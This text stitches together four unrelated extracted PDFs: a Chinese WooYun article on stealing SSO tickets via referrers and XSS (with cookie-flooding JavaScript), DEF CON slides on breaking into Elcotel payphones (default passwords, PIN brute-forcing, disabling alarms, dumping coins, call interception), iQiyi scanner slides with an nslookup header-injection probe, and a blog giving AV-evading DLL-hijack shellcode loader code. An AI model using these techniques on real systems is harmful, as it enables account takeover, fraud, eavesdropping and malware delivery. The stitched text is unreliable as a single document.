Xss偷不了httponly的cookie了? 你可以试试偷上面的这些认证信息 Xss能做的比你想象的要多,它毕竟是个代码执行漏洞 如果Xss不好找?你还可以试试referrer,它不产生漏洞,但它是漏洞的搬运工 首先我们了解些背景知识,我简单介绍下单点登陆 需求:如果用户已经登陆B站,则自动登陆A站 实现:用户访问A站,A站把用户跳转到B站,B站验证用户已登陆,给用户一张票,用户拿着票去找A站,A拿着票去B 那,验证成功后放用户进去 下文中将大量出现如下示例站点 A:http://www.t99y.com B:http://passport.wangzhan.com 举例:用户访问 http://passport.wangzhan.com/login.php?url=http://www.t99y.com/a.php B站检验A站是白名单域后,然后302跳转到 http://www.t99y.com/a.php?ticket=****** 然后a.php用ticket参数去B站验证用户合法后,再给用户种认证cookie 偷认证信息的大概流程如下,后面会细讲。总之攻击的目的就是,拿到用户的ticket信息 0x09 How 互联网上常见的几个单点登陆场景,通行证或第三方站给的登陆凭的证使用的方式各有不同,分别该怎么偷 场景一,直接使用票据来做验证,get型csrf的token和此类似 http://t99y.com/a.php?ticket=XXXXXXXXXXXXXXXX (/) (/n ew se nd) ✏ (/w p- logi n.p hp ? acti on =lo go ut& red ire ct_ to= htt p% 3A %2 F% 2F dro ps. wo oy un. org ) 2019/2/26 GET来的漏洞 | WooYun知识库 http://www.anquan.us/static/drops/web-7112.html 6/10 服务端使用此ticket去sso验证此用户身份,然后在本域种认证cookie 偷的思路: 让我们构造的页面获取到凭证后请求我们控制的服务器上的资源,这样referrer里就有ticket信息了 偷的几种方式 找能发自定义src的图片的页面去sso取票,带着ticket信息的页面会发起图片请求,图片服务是我们自己的,我们可以 读到请求中的referrer,referrer中会包含ticket信息 找能发自定义src的iframe的页面,iframe请求中的referre有ticket 找一个有js跳转漏洞的页面去取票,跳转目的地址是我们的服务,js的跳转是带上referrer的,读取此请求的referrer, 里面包含ticket 如果img和iframe的src值只允许白名单域的url,那就再找一个白名单域的302跳转漏洞来绕过白名单,302跳转可以传 递上个请求的referrer Xss获取地址栏信息 示意图如下,如下是我画的一个chrome浏览器,地址栏里ticket参数会被包含到下面的一些元素的请求的referrer中 (/) (/n ew se nd) ✏ (/w p- logi n.p hp ? acti on =lo go ut& red ire ct_ to= htt p% 3A %2 F% 2F dro ps. wo oy un. org ) 2019/2/26 GET来的漏洞 | WooYun知识库 http://www.anquan.us/static/drops/web-7112.html 7/10 参考案例: WooYun: 微博上你点我发的链接我就可以登上你的微博(web版和app端均可两个漏洞一并提交) (http://www.wooyun.org/bugs/wooyun-2015-0124352) 场景二,当我们在一个app内打开其公司产品的一些链接,会被加上认证信息去让用户自动登陆 微博客户端、QQ客户端、微信客户端都曾有或现在正有此问题 一般会加上参数sid、gsid、key 例子: WooYun: 手机版QQ空间身份因素可被盗用(主动截获用户sid) (http://www.wooyun.org/bugs/wooyun-2013- 027590) 例子: WooYun: 聊着聊着我就上了你……的微信(两处都可以劫持微信登录的漏洞) (http://www.wooyun.org/bugs/wooyun-2014-070454) 例子:之前的一个手机qq的漏洞,找一qq域下论坛发一张图,然后把此页发给手机qq上好友,他点击就会被盗号 偷的几种方式 见场景一的各种方式 用户甚至会通过app的分享功能把认证信息分享到邮件或朋友圈。曾经遇过一个案例,一个活动推广页面在app内被打开 后,被app加上了get参数去完成了自动登陆,因为页面要得到用户的一些相关信息。然后这个带着认证参数的推广页面会 被用户分享出去,然后别人点击了这个链接,就登陆了分享人的账号 场景三,中间页接收ticket完成认证,然后用js跳转到我们的目标页 http://t99y.com/login.php? ticket=XXXXXXXXXXXXXXXX&url=http://t99y.com/a.php 此时会种上认证cookie 然后页面会使用js跳转到 http://t99y.com/a.php location.href=“http://t99y.com/a.php”; 参考示例:某绑定了微博账号后可以自动登陆的网站 偷的思路: 因为js的跳转,ticket已经通过referrer发给了a.php了,那我们只要让a.php成为我们控制的页面就可以了,恰好302跳转可 以帮我们实现 偷的几种方式 找一个有302跳转漏洞的页面如b.php,发起单点登陆请求,然后带着ticket信息的b.php会跳转到我们的服务上。因为js 的跳转会带referrer,然后再通过302跳转把referrer传给我们能控制的页面 Xss获取当前页面referrer 场景四,中间页接收ticket完成认证,然后用302跳转到我们的目标页 http://t99y.com/login.php? ticket=XXXXXXXXXXXXXXXX&url=http://t99y.com/a.php 此时会种上认证cookie 然后页面会再302跳转到 http://t99y.com/a.php 参考示例:好几个大的互联网网站…… 偷的几种方式 前面的一些靠referrer偷的方式都没法用了…… 只能靠xss了,不要小看xss,不要光知道偷cookie 这种情况是多个302的跳转,跳转路径如下 请求1:http://passport.wangzhan.com/login.php?url=http://www.t99y.com/a.php 请求2:http://t99y.com/login.php?ticket=XXXXXXXXXXXXXXXX&url=http://t99y.com/a.php 请求3:http://t99y.com/a.php (/) (/n ew se nd) ✏ (/w p- logi n.p hp ? acti on =lo go ut& red ire ct_ to= htt p% 3A %2 F% 2F dro ps. wo oy un. org ) 2019/2/26 GET来的漏洞 | WooYun知识库 http://www.anquan.us/static/drops/web-7112.html 8/10 ©乌云知识库版权所有 未经许可 禁止转载 收藏 偷的思路: 在xss中,用iframe包含单点登录的请求1,登录跳转后,我们通过src属性可以读到请求1的url,使用 iframe.contentWindow.location.href可以读到跳转最后的请求3的url。但我们需要的是中间的请求2。所以我们想,可不可 以让它跳到请求2后,不再继续跳转了,这样我们通过iframe.contentWindow.location.href就可以读到请求2的url了。这时 候我想起,cookie超长的拒绝服务终于可以派上用场了 偷的方式 Xss创建iframe,种超长cookie,让含ticket的302拒绝服务,然后使用iframe.contentWindow.location.href读取最后的 iframe的当前地址 拒绝服务还有个好处,可以绕过某些ticket的防重放。因为有些票据在受害者端只要被使用后,可能我们盗取后也无法利用 了。使用这种方式偷,可以让票据在受害者端不会被使用。 还有,根据path设置cookie可以精准的让我们的iframe停在我们想让它停的url上。 示例代码如下: var iframe =document.createElement('iframe'); iframe.src="http://passport.wangzhan.com/login.php?url=http://www.t99y.com/a.php"; document.body.appendChild(iframe); for (i = 0; i < 20; i++) { document.cookie = i + ‘=’ + ‘X’.repeat(2000);//可以根据需求设置path } iframe.addEventListener('load', function(){ document.write(iframe.contentWindow.location.href); for (i = 0; i < 20; i++) { document.cookie = i + '=' + 'X'; } }, false); 场景五,跨域从通行证获取登陆ticket 形式为类似 http://www.wangzhan.com/sso/getst.php?callback=jsonp ,然后通行证会返回个jsonp格式的数据,里面包 含认证信息 参考案例 WooYun: 微博上你点我发的链接我就可以登上你的微博(web版和app端均可两个漏洞一并提交) (http://www.wooyun.org/bugs/wooyun-2015-0124352) 偷的几种方式 可能存在jsonp劫持漏洞,可以通过jsonp劫持来偷取用户的登陆凭证 Xss漏洞,去跨域请求此接口得到数据 0x0a 总结 综上所述,get请求的滥用大家都没重视过,但综合一些小漏洞,可能会产生一些意想不到的大漏洞 修复方案其实很简单,不要使用get方法进行非读操作,不要使用get方法传输敏感信息,因为你不可能控制你所有页面不 向第三方发起带referrer的资源请求,而且get请求很难保护。它只是个天真烂漫的孩子,你不要让它承载太多责任 在前几天的阿里安全峰会上,我讲了这个议题,最后的观众提问环节有人问使用https可不可以解决上面的问题。答案当然 是不可以,https解决的只是客户端到服务端的传输加密防篡改。但get请求的数据在两个端,尤其是客户端,https是保护 不了的。 至于单点登录问题的修复方案,有很多层面都可以去解决,比如不使用get,不让攻击者发起伪造的单点登录请求等等, 这些细节需要具体问题具体对待,这里就不细讲了。有需求的女网友可以私下找我交流,共同为互联网的安全学习进步 分享 (/) (/n ew se nd) ✏ (/w p- logi n.p hp ? acti on =lo go ut& red ire ct_ to= htt p% 3A %2 F% 2F dro ps. wo oy un. org ) 2019/2/26 GET来的漏洞 | WooYun知识库 http://www.anquan.us/static/drops/web-7112.html 9/10 回复 回复 回复 回复 回复 回复 碎银子打赏,作者好攒钱娶媳妇: 为您推荐了适合您的技术文章: 1. 我的通行你的证 (http://drops.wooyun.org/web/12695) 2. Clickjacking简单介绍 (http://drops.wooyun.org/papers/104) 3. 密码找回功能可能存在的问题(补充) (http://drops.wooyun.org/web/3295) 4. CSRF简单介绍及利用方法 (http://drops.wooyun.org/papers/155) 昵称 验证码 写下你的评论… 发 表 一只媛 2016-04-04 23:33:00 wuwuwu yeah 2016-03-30 13:27:32 @th000 没错,却又没说更好的解决方式 thanatos 2016-01-05 10:10:33 真不错,学习了! socket 2015-12-13 22:56:19 多出文章啊,看了后的确涨了不少知识 风格 2015-11-11 11:29:37 赞 ~~涨姿势了 Jumbo 2015-07-15 22:25:30 这个时候,作为一个男子汉,你可能要考虑下,应该哭多大声才不会吵到邻居……当然,你还可以安慰自己,他们 是一起在网吧通宵玩游戏 30 30 30 30 30 30 (/) (/n ew se nd) ✏ (/w p- logi n.p hp ? acti on =lo go ut& red ire ct_ to= htt p% 3A %2 F% 2F dro ps. wo oy un. org ) 2019/2/26 GET来的漏洞 | WooYun知识库 http://www.anquan.us/static/drops/web-7112.html 10/10 感谢知乎授权页面模版 站长统计 (https://www.cnzz.com/stat/website.php?web_id=1260449583) 回复 回复 回复 回复 回复 回复 回复 回复 回复 null_z 2015-07-15 21:33:20 感觉很深入,很棒~~~ 多谢楼主 light 2015-07-15 20:33:10 学习了~ th000 2015-07-15 16:33:38 故弄玄虚 th000 2015-07-15 16:33:03 整个PPT无非表达一个意思:不要再GET请求带上认证相关之类的敏感信息。 Hxai11 2015-07-15 15:03:51 写的不错,相比起POST来说,貌似GET涉及的方面更广,还有,男子汉和他什么情况。。。 Friday 2015-07-15 13:41:51 卤煮还要娶媳妇? Xser233 2015-07-15 12:24:04 赞,月底的PPT有素材了 milan 2015-07-15 11:48:36 牛逼 瘦蛟舞 2015-07-15 10:09:02 伟哥牛掰呀 30 30 30 30 30 30 30 30 30 (/) (/n ew se nd) ✏ (/w p- logi n.p hp ? acti on =lo go ut& red ire ct_ to= htt p% 3A %2 F% 2F dro ps. wo oy un. org )
pdf
Exploit Archaeology First in the series of talks on excavating and exploiting retro hardware. I promise the talk will get technical. Who am I? • Penetration Tester • Geek Dad • Amateur Phone Phreak • @savant42 on the twitters Who I’m not. • Leet. • A programmer. • A reverse engineer-er. • A speller. Why this talk? From 50lb Weight to Stealth Attack Platform Methodology > Results The Journey And to see if I could. First Off... Traveling with a Payphone is a giant pain in the ass. Anyway. Payphones used to be like this. Nowadays they’re like this. If you see a payphone in your neighborhood today, you laugh. If you see someone using a payphone? You lock your car doors and roll up the windows. Even Indy is over it. Ever since I was a kid I’ve always wanted my very own payphone One day, I got one as a gift. (Thanks Tiffany & Gene Erik) Still popular in correctional facilities This one came from a prison. No joke. (Yes, I cleaned the ever loving shit out of it) • BOCOT = Bell Owned Coin Operated Telephone (Telco Owned) • COCOT = Customer Owned Coin Operated Telephone (Private) BOCOT vs. COCOT Bell Owned BOCOTS could be “Red Boxed” (utilize inband ACTS tones to signal coin insertion) It’s probably still possible in certain regions of the US but most RBOCs have outsourced to private companies. COCOT Payphones can not be Red Boxed without Operator Intervention (as far as *I* know) because they don’t use ACTS With “Smart Payphones” all of the call regulation, coin counting and management, etc, is done inside the payphone. Telco payphones do all the magic at the Central Office. Telling the difference? Most (All?) BOCOT Payphones use the General Electric style housing Coin Return is on the Left and the armored cable connects to the front of the housing. COCOTS often use the GTE style housing with the coin return slot on the right and the armored cable connects on the side. This is definitely not always the case, though. This Payphone. Elcotel Series 5 Line-Powered Payphone Internal Battery, trickle charges from voltage on the telephone line “Smart” Phone, Programming/Rates are handled internal to the Payphone Elcotel used to be prolific with the private coin phone market Now they’re all but gone from most places Now that I have one Problem? No keys. No battery. No documentation. Phone was from different area code. How to do? Get the phone open Replace the battery Reprogram for free calls. Opening the phone Preserving the tomb. No destructive entry, wanted to keep the phone as intact as possible. Three types of Keys Upper Housing Lower housing (coin vault) T wrench for torque. You need all three. Upper Housing Lock 3 pins, no security Pins. Easy enough to pick in a short period of time. Anti-impressioning divots. Note: These locks tend to only rotate a quarter of a turn or less. Check, you may have already picked it. Coin Vault Lock? Not so much. 4 Pins, several spool pins. Medeco Locks, though not biaxial At that time, I was unable to pick it. Hacker Con Took the phone to Bay Threat in Mountain View 30 people tried, failed. Except one guy. Dude picked this lock in 10 seconds, by accident. Fuuuuuuuuuuu. Opening the housing Didn’t have a T wrench, time to hack harder. Opening the housing Vyrus001 and I were able to hack something together. Badge clip, wrench, faith. Opening the housing Dead battery. Payphone.com u mad bro? Now that it is alive How the @#%#% do I use it? How to do? Different area code means local (to me) calls were $$$$$$$ Unacceptable. The goals: • Zero out the rates tables to make free calls • Find vulnerabilities in payphone software • ... • Profit? GOALS: First Hack: Payphone -> ATA -> Asterisk -> 911 Payphones are legally required to make 911 a free call. Dial plan magic allowed me to get a usable dial tone if I first dialed 911. Neat hack, but sloppy. Documentation? Nearly non-existent. Archive.org was helpful, to an extent. I learned how to reset phone to default, but that’s pretty much it. Elcotel? Ebay! Incomplete. Was only able to find part 2 of a 3 part series of manuals. Basically, this was the rosetta stone. Part 2 was useful, but I still didn’t have the software to reprogram it. • 1. Software based reprogramming • 2. Local telemetry • 3. Remote Telemetry 3 Ways to Program: Software Ideal solution, but requires the software and a license from a dead company. Local Telemetry • Open the Phone (which WILL set off alarms and call the phone owner if you try this in the field) • Default the Phone • Listen to voice prompts and dial to set values. Remote Telemetry Can allegedly reprogram remotely? (More on this later) Eventually I was able to acquire a demo through “alternative means.” Time to try and crack the software. Software based programming Cracking 10 year old software is actually pretty hard. 16-bit Windows “NE” Binary Even IDA Pro was all “WTF Mate?” And by “help”, I mean that someone did it for me. Eventually able to hook the installer, jump the serial number check, uncompress the installer archives. Thanks to Vyrus001, int0x80, Frank^2 I had a lot of help. Phone has onboard modem called a “PCM” (Payphone Control Module) Need to be able to dial it though. Ironically, I don’t have a landline. Unlocked Linksys Analog Telephone Adapter (ATA) USB Modem Voice over IP Voip Settings • Dial up modem over VoIP is a pain in the ass. • Ulaw or Alaw, accept no substitions. • Disable Noise Cancellation + Echo suppression • Really slow, ~ 9600 baud A HUGE Thanks! to the Telephreak guys (Hi Beave!) and the Oldskoolphreak.com guys for helping me get this sorted out. Default the phone Press and hold the button inside the phone. Flash the hook. Listen to onboard prompts Local Telemetry Press the button, flash the hook, enter the code, follow the voice prompts. Super easy, but requires you to physically open the phone. If the phone is not yours, this is dubious. Now we can connect. Once you are able to connect, the rest is pretty easy. But this talk is also about hacks, not using software. Elcotel Engineers? Not total idiots. Anti-fraud Mechanisms: • Secondary Dialtone Detection • Red box detection • Chassis Alarms • Brute Force Protection Need to build a harness to fuzz the phone. Intercept modem audio? • Easy enough with SIP, but then what? FSK Demodulation is crazy hard. Blackbox RE of Protocol If I could intercept and analyze how the software does it, I can do it myself. How do I hook a USB Modem? Advanced Serial Port Monitor Pro • http://www.aggsoft.com/serial-port- monitor.htm • Able to treat USB Modem as virtual serial port • “Spy Mode” allows you to pass through and watch • Displays output in either Hex or ASCII Default password for software reprogramming is 99999999 Default password for local and remote telemetry is 88888888 Password? Performing actions using the PNM Plus Elcotel application enabled me to see what actions look like in Hexadecimal From there I was able to make *some* sense of how the handshake worked Phone ID is usually the last 4 digits of the phone number. Passwords are almost never changed from defaults. Demo Oh dear $deity please work. Auth Protocol Breakdown Success vs. Fail • When authentication fails, the Phone sends a hexadecimal NAK (Negative Acknowledgement) • 0x15 • When authentication is successful, Phone sends hexadecimal ACK (Acknowledge) • 0x06 Problem. After 3 invalid attempts, the phone drops the call. However, the PNM software is responsible for interpreting the “disconnect” message. If we use our own code we can ignore that and keep trying until we get the right PIN. Hacks. Pseudo Code: PIN = 0000 send $PIN while ($auth_response != 0x06) $PIN++ send $PIN if $auth_response = 0x06, print “GREAT SUCCESS!” Python has a good serial interaction library, but I don’t code because I’m an idiot. So Gene Erik jumped in. Man I love having smart friends. https://github.com/savantdc949/ Code will be online some time after Defcon hangover clears. • User ID? Check. • Pin? Check. • ... • Proft? • Call payphone from any landline phone • Wait 30 seconds for Modem to stop screaming at you • Have 10 seconds to enter telemetry password • Listen to voice prompts Enter: Remote Telemetry Reprogramming using DTMF (Remote Telemetry) • Registers = Strings • Options = On or Off • Reg. 421-434 = Antifraud. Set to 0 to disable. • Reg. 333-336, 412, and 414 = Disable alarms More registers • 404 = Phone number • 402 = Phone ID# • 403 = PNM Plus Password • 400 = Telemetry Password • 116 = Disable battery (DoS) • 338 = Number for service desk Service Desk • Sudo/Operator status for Payphones • If you divert this number to yourself, you can do cool stuff. • Apply credit • Issue refunds • Force phone to dial number for free • Dump the coin escrow ($$$$) We can set the “coin escrow” to $5. As people use the phone, up to $5 in coins collect in the escrow hopper. Service desk can cause hopper to empty into coin return slot. Demo? How can we use this information in a novel way? Now what? ProjectMF Blue Box simulation of Inband signalling over TDM trunks. www.projectmf.org Red Boxing • Use sox and Asterisk EAGI to record and analyze inbound audio. • Filter out all frequencies that are not 1700 Hz and 2200 Hz tones together • If not null, incremend $coin_value • If $coin_value >= $.25, make call How can we use this information in a malicious ways? Now what? • Unlocked Linksys PAP2 ATA + PwnPlug + Alfa Wireless USB wireless = PayPwn! • Asterisk system() command lets us pass OS calls from DTMF • Macro the most popular pentesting tools • Cepstral/Festival TTS to receive responses Nmap by Phone Demo! • PwnPlug has built in support for slimmed down Asterisk. • Use Alfa to hook into a wireless network • DTMF to initiate scans, cracking, etc etc There *are* easier ways to do this, but what the hell? This is fun. Be honest with me. If you saw a Payphone, would you expect it to be a covert adventurer/badass? Using the Asterisk ChanSpy() application we can monitor *all* voice traffic that goes through PBX. Roll payphone into a Casino. Wait for people to use the phone. Listen. Magic. Call Interception Demo. Volunteer? In summary Using this information we can utilize Remote Telemetry to own any Elcotel Payphone Like any archaeological dig, we can learn a lot about the way developers used to think We can then apply this logic to other legacy systems still in the field (SCADA, etc) PayPwn = Only limited by your imagination If I have my way, they will live forever. More information • http://tinyurl.com/netwerked (Hack Canada Elcotel Archive) • http://www.payphones.50megs.com/page7.html (some Elcotel docs) • https://github.com/innismir/asterisk-scripts (nmap by phone) • https://github.com/savantdc949/ • Payphone.com (thieving bastards) Questions? @savant42 http://dc949.org Thanks! • Defcon • Tiffany and Gene Erik (for the payphone and code) • docwho76 for the title image • Hack Canada for the docs • DC949 • Innismir, BlackRatchet, DaBeave, Strom Carlson, Binrev.com hackers, oldskoolphreak.com • You!
pdf
爱奇艺安全攻防实践 李劼杰 About Me • 爱奇艺 安全云 SRC 负责人 • WooYun 白帽子 Rank TOP 10 • 腾讯 TSRC 2016 年度漏洞之王 李劼杰 http://www.lijiejie.com subDomainsBrute / BBScan / githack / htpwdScan Agenda • 漏洞扫描 • 威胁感知 • 入侵检测 • 堡垒机 • 渗透测试 扫描器 现状 • 小机房端口策略过于宽松 • 资产变更频繁 • 服务间依赖复杂 20万+ 开放端口 300万+ 设计目标 稳定 高效 误报率低 高危漏洞覆盖全 任务管理合理 30 个扫描节点 每月完成约1亿次插件扫描 扫描组件 Web插件 弱口令插件 通用漏洞插件 信息泄露插件 集成AWVS 依赖Medusa 一些Python脚本 实现类似 BugScan 的扫描框架 集成BBScan 扫描策略 • 外网优先原则 • 插件分组 • 每6小时 • 严重漏洞 • 每天 • 高中危漏洞 • 每周 • 低危漏洞 • 首次发现的外网端口,最高优先级进入扫描队列 信息泄露插件 • https://github.com/lijiejie/BBScan • 压缩包 • git svn • 配置文件 • 文件遍历 • URL + 简单规则 /composer/send_email?to=test@xxx&url=http://not.existed.domain {status=200} {tag="gaierror: [Errno -2]"} {root_only} 弱口令插件 • 常见弱口令 • 远控卡弱口令 • IPMI Cipher 0 • IPMI hash泄露 SSH、RDP、samba、Telnet FTP、VNC 、IPMI 、Rsync MySQL、MS SQL Server、Postgres Redis、MongoDB Tomcat、ActiveMQ、RabbitMQ 通用漏洞插件 from port_cracker.plugin_scan.dummy import * def do_scan(ip, port, service, task_msg): if service.lower().find('http') < 0: return try: url ='http://%s:%s' % (ip, port) + '/security-scan.txt' curl_cmd = '-X "PUT" -d "202cb962ac59075b964b07152d234b70" %s' % url code, head, res, errcode, _ = curl.curl(curl_cmd) if code == 200: code, head, res, errcode, _ = curl.curl(url) if code == 200 and res.startswith('202cb962ac59075b964b07152d234b70'): ret = { 'algroup': 'PUT File', 'affects': 'http://%s:%s' % (ip, port), 'details': 'PUT File Vulnerability\n\n' + url } return ret except Exception as e: pass • 只需要实现 do_scan 函数 • 插件远程部署,可自动重载,无需重启扫描进程 资产发现 内部接口监控 全网PING HIDS端口清点 新增 外网端口 等待任务调度 N 最高优先级扫描 海外虚机端口检查 Y [mask] 分钟 内发现新设备 [mask] 分钟 内完成端口扫描 任务队列 资产发现 • 超过 40万个 HTTP服务,支持全文搜索 • Chrome Headless 动态爬虫进行全网URL收集, 支持全文索引 信息泄露 < 15MIN 内网巡检 < 2H SSL证书扫描 • 证书过期 • 证书不匹配 • 弱加密算法 • 心脏滴血漏洞 • ATS合规 代理配置不当 正向 HTTP代理 Socks代理 未授权访问 ACL配置不当 黑客直接穿内网 DNS域传送 • DNS域传送配置不当 • 泄露网络拓扑 • 暴露攻击面 • 泄露敏感服务,如DB、后台 Header命令注入 • 在Request Header注入shell命令,被应用执行,如: 日志分析程序执行 def do_scan(ip, port, service, task_msg): if service.lower().find('http') < 0: return host = '%s:%s' % (ip, port) conn = httplib.HTTPConnection(host, timeout=20) headers = {'Host': "$(nslookup hostname.`hostname`.%s- %s.your.dns.log.domain)" % (ip, port), 'User-Agent': 'Mozilla/5.0 …', } conn.request('GET', '/', headers=headers) conn.getresponse().read() conn.close() 被动式代理扫描 • 解决URL覆盖率问题 • 缺少认证信息 • 角色覆盖不全 • UA覆盖不全 • 解决 HOSTS 冲突 白盒代码扫描 集成Gitlab API 一键接入 提交代码自动触发 威胁感知 威胁感知 威胁检测 威胁告警 威胁预测 业务安全可度量 威胁场景 • 主机 • 命令执行、反弹shell • 木马病毒 • 弱口令 • 高危端口对外 • 异常登录、暴力破解 • 堡垒机操作异常 • 篡改敏感文件 • 基线违规 • 开源组件存在漏洞 • FFmpeg • fastjson • OpenSSL • … • 应用 • web shell • 恶意程序(应用检测) • 恶意程序(终端) • 恶意程序(云查杀) • 数据库 • 拖库 • 异常导出 • 异常连接 • 源代码泄露 • 危险 jar包、rpm包 • Maven 日志 • 证书安全 • 网络 • DDOS攻击 • 传播木马病毒 • 内网端口扫描 • 内网渗透 • 异常DNS 蜜罐 • 中高交互 • 基于MHN • SSH • ElasticSearch • 高仿真蜜罐 • … • NIDS蜜罐 • 蠕虫病毒扫描 • 覆盖率问题 • HIDS蜜罐端口转发 • 办公网电话交换机转发 • 接入层交换机虚IP转发 异常DNS • 长度异常 • Xshell后门 • 畸形域名 • 算法生成的域名 • 统计特征异常 • 威胁情报 - 黑名单 • 黑客工具域名 • [mask] xss [mask] • Dnslog [mask] • Dnsl [mask] • xsse [mask] • … 内网渗透 • 黑客进入内网 • 收集信息 • 扩大权限 • 保持权限 • 窃取数据 • 日志源 • OA • SSO • ERP • wiki • gitlab • … IDPS • 基于流量分析引擎 QNSM 扫描行为识别 木马病毒识别 攻击行为识别 运维基线违规 QNSM引擎 + 规则集 数据库审计 • MySQL Audit • 异常访问 • SQL注入 • 恶意拖库 • 性能损耗 • ≈ 10% 入侵检测 HIDS • 资产清点 • 进程 • 端口 • 账户 • authorized keys • jar包 • rpm包 • 漏洞检测: 弱口令 dirtycow FFmpeg … • 基线合规 • 爱奇艺安全bash • 改进的 Rkhunter • 反弹 shell、命令执行、webshell 检测 • SSH爆破、web扫描检测 • 完善的发布策略 • 资源占用监控 • Cgroups 限制资源占用 基于 部署约10万台 快照检测 • 近实时进程快照 • 增量巡检扫描 • 挖矿木马 • DDOS木马 • Hack Tool 堡垒机 • 支持SSH、SFTP、RDP、VNC • 支持双因素认证 • 灵活的规则配置 • 实时告警、实时阻断 • 支持录屏审计 • 支持组授权 • 支持备注登录、tab补全 渗透测试 • 标准化测试流程 • 标准化check list • Web • 移动 • 标准化渗透测试环境 • 维护通用测试工具集
pdf
自动化生成器 前面核心的内容跑通了,后面自动化生成就是理所当然的,这方面没什么困难的,就是注意一下加一些 对抗的东西,比如生成的源码里面的字符串全部加密,用于加解密shellcode的key全部随机化生成。将 源码一起打包,并告诉编译方式,这样即使生成的dll被杀了也没关系,自己改改又可以继续了。 一些核心功能: 收集一些白加黑文件,制作成模板 解析白文件pe,将shellcode写入证书目录 根据模板来生成劫持dll 自动调用go命令进行编译 自动打包成zip 里面最麻烦的就是自动编译,因为服务器是linux,而要生成windows的程序,并且在go里面使用了 cgo,不可避免的,要使用交叉编译器了。 找了找资料,用mingw-w64 https://www.mingw-w64.org/downloads/ 可以编译linux编译器,在它下 面有很多linux的二进制直接就能拿来用,但是找了半天没发现centos的,用yum也没发现包。 最后找到了,https://bugzilla.redhat.com/show_bug.cgi?id=1807975 官方将它给移除掉了,但也没说 替代方案。 尝试自己编译,源码download: https://sourceforge.net/projects/mingw-w64/ 尝试了下后面就放弃了,编译完估计得占用几个G空间,让本就不充裕的服务器雪上加霜,更重要的是 尝试进行编译的第一步我就失败了,github上有一些可以自动编译的脚本,但看了下源码,它得翻墙下 载一些东西,而服务器上翻墙太麻烦。 最后把目光锁向了docker,github有个项目可以很好的满足我的要求 https://github.com/x1unix/dock er-go-mingw 用了一下,发现很好用,学习成本也很低,于是开开心心的就去把自动编译集成到docker上。最后测 试,发现还是失败。。 找其原因,是这个项目基于的alpine,只能支持64位的编译。 于是我给官方提了一个issue https://github.com/x1unix/docker-go-mingw/issues/14 官方也很快就回复了我 要编译成32位,需要修改 cc 为32位的编译器。 很快,官方出了一个基于 apline linux/386 的项目,我测试后,发现在mac下仍然存在问题。。 于是在星球上发帖说了下被阻挡在了交叉编译上。。 但是 @李文致 发给我了一个dockerfile完美解决了docker上交叉编译的问题,李文致的版本基于 debian,在它的基础上直接apt装编译器,非常简单有效! 根据它的dockerfile我改了下 FROM golang:1.16 RUN echo "deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster main contrib non-free">/etc/apt/sources.list &&\   echo "deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-updates main contrib non-free" >>/etc/apt/sources.list &&\ 已经可以解决我的问题。 后续:https://github.com/x1unix/docker-go-mingw 也换成了基于debian的golang镜像,并且也支持 了x86 x64的交叉编译环境。 增强对抗 之前改写入口点死循环,使用了下面死循环的汇编代码 但是发现CPU占用会很大 于是想着加个sleep,但是这样shellcode里就得调用api函数,比较麻烦。 于是想了一招,在dllmain里面获取sleep的地址,写到shellcode的地址上。 具体就是先 再用汇编写个模板,可以将shellcode直接写进去的   echo "deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-backports main contrib non-free" >>/etc/apt/sources.list &&\   echo "deb https://mirrors.tuna.tsinghua.edu.cn/debian-security/ buster/updates main contrib non-free" >>/etc/apt/sources.list &&\   apt update -y && apt install gcc-mingw-w64-i686 gcc-mingw-w64-x86-64 -y && apt autoclean && apt clean RUN mkdir -p /go/work ENV PATH=/go/bin:$PATH \   CGO_ENABLED=1 \   CC_FOR_TARGET=x86_64-w64-mingw32-gcc \   CC=x86_64-w64-mingw32-gcc \   GOOS=windows WORKDIR /go 77C71B73   50             push eax 77C71B74   58             pop eax 77C71B75 ^ EB FC           jmp short 77C71B73 DWORD sleepFunc = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"), "Sleep"); /*    77461B73   68 56341200     push 0x123456    77461B78   58             pop eax    77461B79   68 8813000     push 0x1388 ;5s    77461B7E   FFD0           call eax    77461B80 ^ EB F1           jmp short ntdll.77461B73    */    BYTE shellcode[] = { 0x68,0x00,0x00,0x00,0x00,0x58,0x68,0x88,0x13,0x00,0x00,0xff,0xd0,0xeb,0xf1};    int size = sizeof(shellcode) / sizeof(BYTE);    *(DWORD *)(shellcode+1) = (DWORD)sleepFunc; 最后覆盖的时候使用新的shellcode就行了。 新的dllmain.h #include <windows.h> extern void test(); void dlljack(){    DWORD baseAddress = (DWORD)GetModuleHandleA(NULL);    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;    PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress + dosHeader->e_lfanew);    DWORD entryPoint = (DWORD)baseAddress + ntHeader- >OptionalHeader.AddressOfEntryPoint;    DWORD sleepFunc = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"), "Sleep");    DWORD old;    /*    77461B73   68 56341200     push 0x123456    77461B78   58             pop eax    77461B79   68 8813000     push 0x1388 ;5s    77461B7E   FFD0           call eax    77461B80 ^ EB F1           jmp short ntdll.77461B73    */    BYTE shellcode[] = { 0x68,0x00,0x00,0x00,0x00,0x58,0x68,0x88,0x13,0x00,0x00,0xff,0xd0,0xeb,0xf1};    int size = sizeof(shellcode) / sizeof(BYTE);    *(DWORD *)(shellcode+1) = (DWORD)sleepFunc;    VirtualProtect((LPVOID)entryPoint, size, PAGE_READWRITE, &old);    for (int i = 0; i < size; i++) {        *((PBYTE)entryPoint + i) = shellcode[i];   }    VirtualProtect((LPVOID)entryPoint, size, old, &old);    CreateThread(NULL, 0, test, NULL, 0, NULL); } BOOL WINAPI DllMain(    HINSTANCE _hinstDLL,  // handle to DLL module    DWORD _fdwReason,     // reason for calling function    LPVOID _lpReserved)   // reserved {    switch (_fdwReason) {    case DLL_PROCESS_ATTACH:        dlljack();        break;    case DLL_PROCESS_DETACH:        // Perform any necessary cleanup.        break;    case DLL_THREAD_DETACH:        // Do thread-specific cleanup.        break;    case DLL_THREAD_ATTACH: // Do thread-specific initialization.        break; 测试后运行cpu基本就是0了,非常nice。   }    return TRUE; // Successful. }
pdf
